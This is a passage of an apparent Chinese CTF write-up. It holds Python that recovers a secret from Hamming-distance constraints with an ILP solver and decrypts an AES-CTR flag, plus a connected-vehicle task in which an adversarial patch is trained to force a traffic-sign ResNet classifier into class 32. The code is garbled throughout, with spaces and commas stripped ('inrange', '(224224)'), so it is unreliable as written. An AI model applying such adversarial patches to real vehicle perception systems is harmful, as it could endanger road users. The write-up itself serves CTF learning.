    self.solution = None            defsetup_binary_variables(self, num_vars: int, var_prefix: str = "s") -> List[pulp.LpVariable]:        """设置二进制变量"""        variables = []        for j inrange(num_vars):            var = pulp.LpVariable(                f"{var_prefix}_{j}"                lowBound=0                upBound=1                cat="Binary"            )            variables.append(var)        return variables        defconstruct_hamming_distance_constraints(self,                                              bit_matrix: List[List[int]],                                              hamming_weights: List[int],                                             matrix_weights: List[int]) -> pulp.LpProblem:        """构建汉明距离约束的ILP问题"""                # 创建优化问题        self.problem = pulp.LpProblem(self.problem_name, pulp.LpMinimize)                # 设置256个二进制变量(对应secret的每一位)        self.variables = self.setup_binary_variables(256)                # 添加汉明距离约束        constraint_count = 0        for constraint_idx inrange(len(bit_matrix)):            # 计算约束系数:对于每个比特位j,系数为(1-2*y_{ij})            constraint_coefficients = []            for bit_pos inrange(256):                coeff = 1 - 2 * bit_matrix[constraint_idx][bit_pos]                constraint_coefficients.append(coeff)                        # 右侧值:C_i - sum(y_i)            rhs_value = hamming_weights[constraint_idx] - matrix_weights[constraint_idx]                        # 构建约束表达式            constraint_expr = pulp.lpSum(                constraint_coefficients[j] * self.variables[j]                 for j inrange(256)            )                        # 添加等式约束            constraint_name = f"hamming_constraint_{constraint_idx}"            self.problem += (constraint_expr == rhs_value, constraint_name)            constraint_count += 1                # 设置目标函数(这里设为0,因为我们只需要满足约束)        self.problem += 0                print(f"构建了 {constraint_count} 个汉明距离约束")        returnself.problem        defsolve_optimization_problem(self, verbose: bool = False) -> bool:        """求解优化问题"""        ifself.problem isNone:            raise ValueError("问题尚未构建,请先调用construct_hamming_distance_constraints")                # 配置求解器        solver = pulp.PULP_CBC_CMD(msg=verbose)                # 求解        start_time = time.time()        status = self.problem.solve(solver)        solve_time = time.time() - start_time                if verbose:            print(f"求解耗时: {solve_time:.2f} 秒")            print(f"求解状态: {pulp.LpStatus[status]}")                # 检查求解状态        if pulp.LpStatus[status] != "Optimal":            raise RuntimeError(f"求解失败: {pulp.LpStatus[status]}")                # 提取解        self.solution = [int(var.value()) for var inself.variables]        returnTrue        defget_solution_bits(self) -> List[int]:        """获取解的比特向量"""        ifself.solution isNone:            raise ValueError("尚未求解或求解失败")        returnself.solution.copy()defverify_hamming_distances(secret_bits: List[int],                            bit_matrix: List[List[int]],                            expected_distances: List[int]) -> bool:    """验证汉明距离的正确性"""        defcompute_hamming_distance(vec1: List[int], vec2: List[int]) -> int:        """计算两个比特向量的汉明距离"""        returnsum(b1 ^ b2 for b1, b2 inzip(vec1, vec2))        verification_passed = True    for i inrange(len(bit_matrix)):        computed_distance = compute_hamming_distance(secret_bits, bit_matrix[i])        expected_distance = expected_distances[i]                if computed_distance != expected_distance:            print(f"验证失败 - 约束 {i}: 计算距离={computed_distance}, 期望距离={expected_distance}")            verification_passed = False        if verification_passed:        print("所有汉明距离约束验证通过!")        return verification_passed# 2) 使用ILP求解器恢复secretilp_solver = IntegerLinearProgrammingSolver()# 构建约束问题ilp_solver.construct_hamming_distance_constraints(    bit_matrix=Y_matrix,    hamming_weights=C_vector,     matrix_weights=Yw_vector)# 求解问题print("开始求解整数线性规划问题...")ilp_solver.solve_optimization_problem(verbose=True)# 获取解secret_bit_solution = ilp_solver.get_solution_bits()# 验证解的正确性print("验证解的正确性...")verify_hamming_distances(secret_bit_solution, Y_matrix, C_vector)classSecretReconstructor:    """Secret重构器 - 将比特向量转换为字节并解密"""        @staticmethod    defbits_to_bytes_advanced(bit_vector: List[int], byte_count: int = 32) -> bytearray:        """高级比特到字节转换"""        iflen(bit_vector) != byte_count * 8:            raise ValueError(f"比特向量长度错误: 期望{byte_count * 8}, 实际{len(bit_vector)}")                secret_bytes = bytearray()                # 按字节处理比特向量        for byte_idx inrange(byte_count):            byte_value = 0            byte_start = byte_idx * 8                        # 处理当前字节的8个比特            for bit_offset inrange(8):                bit_position = byte_start + bit_offset                bit_value = bit_vector[bit_position]                                # 左移并设置比特                byte_value = (byte_value << 1) | bit_value                        secret_bytes.append(byte_value)                return secret_bytes        @staticmethod    defcompute_multiple_hashes(data: bytes) -> dict:        """计算多种哈希值用于调试"""        hashes = {            'md5': md5(data).digest(),            'sha256': sha256(data).digest()[:16]  # 截取前16字节与MD5长度一致        }        return hashes        @staticmethod    defdecrypt_with_aes_ctr(ciphertext_hex: str                           secret_key: bytes                           nonce: bytes = b"suan") -> bytes:        """使用AES-CTR模式解密"""        try:            # 验证输入            ifnot CryptographicSolver.validate_hex_string(ciphertext_hex):                raise ValueError(f"无效的密文十六进制: {ciphertext_hex}")                        # 转换密文            ciphertext_bytes = bytes.fromhex(ciphertext_hex)                        # 计算密钥哈希            key_hashes = SecretReconstructor.compute_multiple_hashes(secret_key)            encryption_key = key_hashes['md5']  # 使用MD5作为AES密钥                        # 创建AES-CTR解密器            aes_cipher = AES.new(                key=encryption_key,                 nonce=nonce,                 mode=AES.MODE_CTR            )                        # 执行解密            decrypted_data = aes_cipher.decrypt(ciphertext_bytes)                        return decrypted_data                    except Exception as e:            raise RuntimeError(f"解密过程中发生错误: {str(e)}")defmain_decryption_workflow():    """主解密工作流程"""    print("\n=== 开始Secret重构和解密流程 ===")        # 5) 将比特向量转换为字节    print("步骤5: 转换比特向量为字节数组...")    reconstructor = SecretReconstructor()        try:        secret_bytes = reconstructor.bits_to_bytes_advanced(secret_bit_solution, 32)        print(f"重构的secret (hex): {secret_bytes.hex()}")        print(f"Secret长度: {len(secret_bytes)} 字节")                # 计算并显示哈希信息        hash_info = reconstructor.compute_multiple_hashes(bytes(secret_bytes))        print(f"Secret的MD5: {hash_info['md5'].hex()}")        print(f"Secret的SHA256(前16字节): {hash_info['sha256'].hex()}")            except Exception as e:        print(f"Secret重构失败: {e}")        returnNone        # 6) 解密最终密文    print("\n步骤6: 解密最终密文...")    try:        decrypted_flag = reconstructor.decrypt_with_aes_ctr(            ciphertext_hex=ciphertext_hex,            secret_key=bytes(secret_bytes),            nonce=b"suan"        )                # 尝试解码为文本        try:            flag_text = decrypted_flag.decode('utf-8')            print(f"\nFLAG: {flag_text}")        except UnicodeDecodeError:            # 如果UTF-8解码失败,尝试其他编码或显示原始字节            flag_text = decrypted_flag.decode('utf-8', errors='ignore')            print(f"\n 解密FLAG (忽略错误): {flag_text}")            print(f"原始字节: {decrypted_flag.hex()}")                return flag_text            except Exception as e:        print(f"解密失败: {e}")        returnNone# 执行主解密流程final_flag = main_decryption_workflow()# 兼容性输出(保持与原代码相同的输出格式)if final_flag:    print(f"\nFLAG = {final_flag}")else:    print("\n解密过程失败,无法获取FLAG")

车联网

和我的保险说去吧!

GTSRB的数据,缺32的分类,下载了GTSRB的图片,将ppm转为jpg

import osimport numpy as npimport PILimport matplotlib.pyplot as pltimport pandas as pddefconvert_train_data(file_dir):    root_dir = './32jpg/'    directories = [file for file in os.listdir(file_dir)  if os.path.isdir(os.path.join(file_dir, file))]    for files in directories:        path = os.path.join(root_dir,files)        ifnot os.path.exists(path):            os.makedirs(path)        data_dir = os.path.join(file_dir, files)        file_names = [os.path.join(data_dir, f) for f in os.listdir(data_dir)  if f.endswith(".ppm")]        for f in os.listdir(data_dir):            if f.endswith(".csv"):                csv_dir = os.path.join(data_dir, f)        csv_data = pd.read_csv(csv_dir)        csv_data_array = np.array(csv_data)        for i inrange(csv_data_array.shape[0]):            csv_data_list = np.array(csv_data)[i,:].tolist()[0].split(";")            sample_dir = os.path.join(data_dir, csv_data_list[0])            img = PIL.Image.open(sample_dir)            box = (int(csv_data_list[3]),int(csv_data_list[4]),int(csv_data_list[5]),int(csv_data_list[6]))            roi_img = img.crop(box)            new_dir = os.path.join(path, csv_data_list[0].split(".")[0] + ".jpg")            roi_img.save(new_dir, 'JPEG')defconvert_test_data(file_dir):    root_dir = './32jpg/'    for f in os.listdir(file_dir):        if f.endswith(".csv"):            csv_dir = os.path.join(file_dir, f)    csv_data = pd.read_csv(csv_dir)    csv_data_array = np.array(csv_data)    for i inrange(csv_data_array.shape[0]):        csv_data_list = np.array(csv_data)[i, :].tolist()[0].split(";")        sample_dir = os.path.join(file_dir, csv_data_list[0])        img = PIL.Image.open(sample_dir)        box = (int(csv_data_list[3]), int(csv_data_list[4]), int(csv_data_list[5]), int(csv_data_list[6]))        roi_img = img.crop(box)        new_dir = os.path.join(root_dir, csv_data_list[0].split(".")[0] + ".jpg")        roi_img.save(new_dir, 'JPEG')if __name__ == "__main__":    train_data_dir = './GTSRB32/Final_Training/Images/'    convert_train_data(train_data_dir)

尝试对32的图片都爆破一下

import flaskimport torchfrom torch.utils.data import DataLoaderfrom torchvision import datasets, modelsfrom PIL import Imagefrom torchvision import transformsimport osapp = flask.Flask(__name__)device = 'cpu'model = models.resnet18(weights=None, num_classes=43)model.load_state_dict(torch.load("./model.pth", weights_only=True, map_location="cpu"))model.to(device)model.eval()dataset = datasets.ImageFolder(root='./dataset')defapply_patch(img, patch_img):    img = transforms.ToTensor()(img)    img = transforms.Resize((224224))(img)    h = torch.randint(0, img.shape[1]-patch_img.shape[1], (1,)).item()    w = torch.randint(0, img.shape[2]-patch_img.shape[2], (1,)).item()    img[:, h:h+patch_img.shape[1], w:w+patch_img.shape[2]] = patch_img    img = transforms.Normalize([0.34030.31210.3214], [0.27240.26080.2669])(img)    return imgdefcheck_pic(png_addr):    try:        patch_img = Image.open(png_addr).convert('RGB')        patch_img = transforms.Resize((6464))(patch_img)        patch_img = transforms.ToTensor()(patch_img)    except Exception as e:        print(str(e))    cnt = 0    not_cnt = 0    for img, _ in dataset:            img = apply_patch(img, patch_img)        img = img.unsqueeze(0).to(device)        pred = model(img).argmax(dim=-1)        if pred == 32:            cnt += 1        else:            not_cnt += 1        if not_cnt / len(dataset) > 0.25:            returnFalse            if cnt / len(dataset) > 0.75:        print(png_addr)        print("success")        exit(0)    else:        print"Sorry, you failed")deftraverse_path(find_path,mode="all"):    # 遍历file_path下所有文件,包括子目录    files = os.listdir(find_path)    for file in files:        file_full = os.path.join(find_path, file)        if os.path.isdir(file_full):            if mode == "one":                continue            elif mode == "all":                # print file_full                traverse_path(file_full,mode="all")        else:            ends=[".png",".jpg",".jpeg"]            ifany([file_full.lower().endswith(end) for end in ends]):                print(file_full)                check_pic(file_full)traverse_path("./32jpg",mode="all")

所有的图片试了都不行,那就只能搞对抗训练生成了。

import torchimport torch.nn as nnimport torch.optim as optimfrom torchvision import datasets, transforms, modelsfrom torch.utils.data import DataLoaderfrom PIL import Imageimport numpy as npdevice = 'cuda'if torch.cuda.is_available() else'cpu'model = models.resnet18(weights=None, num_classes=43)model.load_state_dict(torch.load("./model.pth", map_location=device))model.to(device)model.eval()mean = [0.34030.31210.3214]std = [0.27240.26080.2669]normalize = transforms.Normalize(mean=mean, std=std)defapply_patch_train(img_tensor, patch_tensor):    resize = transforms.Resize((224224))    img_tensor = resize(img_tensor)    h = torch.randint(0224 - 64, (1,)).item()    w = torch.randint(0224 - 64, (1,)).item()    img_tensor[:, h:h+64, w:w+64] = patch_tensor    img_tensor = normalize(img_tensor)    return img_tensorpatch = torch.rand((36464), requires_grad=True, device=device)optimizer = optim.Adam([patch], lr=0.01)criterion = nn.CrossEntropyLoss()transform = transforms.Compose([    transforms.ToTensor(),])dataset = datasets.ImageFolder(root='./dataset', transform=transform)dataloader = DataLoader(dataset, batch_size=1, shuffle=True)num_epochs = 10for epoch inrange(num_epochs):    total_loss = 0    for images, _ in dataloader:        image = images[0].to(device)         processed_img = apply_patch_train(image, patch).unsqueeze(0        output = model(processed_img)        target = torch.tensor([32], device=device)         loss = criterion(output, target)        optimizer.zero_grad()        loss.backward()        optimizer.step()        with torch.no_grad():            patch.clamp_(01)        total_loss += loss.item()    print(f'Epoch {epoch}, Average Loss: {total_loss / len(dataloader)}')patch_np = patch.detach().cpu().permute(120).numpy() * 255patch_np = patch_np.astype(np.uint8)patch_image = Image.fromarray(patch_np)patch_image.save('patch.png')print("Patch saved as patch.png")

获得生成的图像

提交即可获得flag

阅读原文

跳转微信打开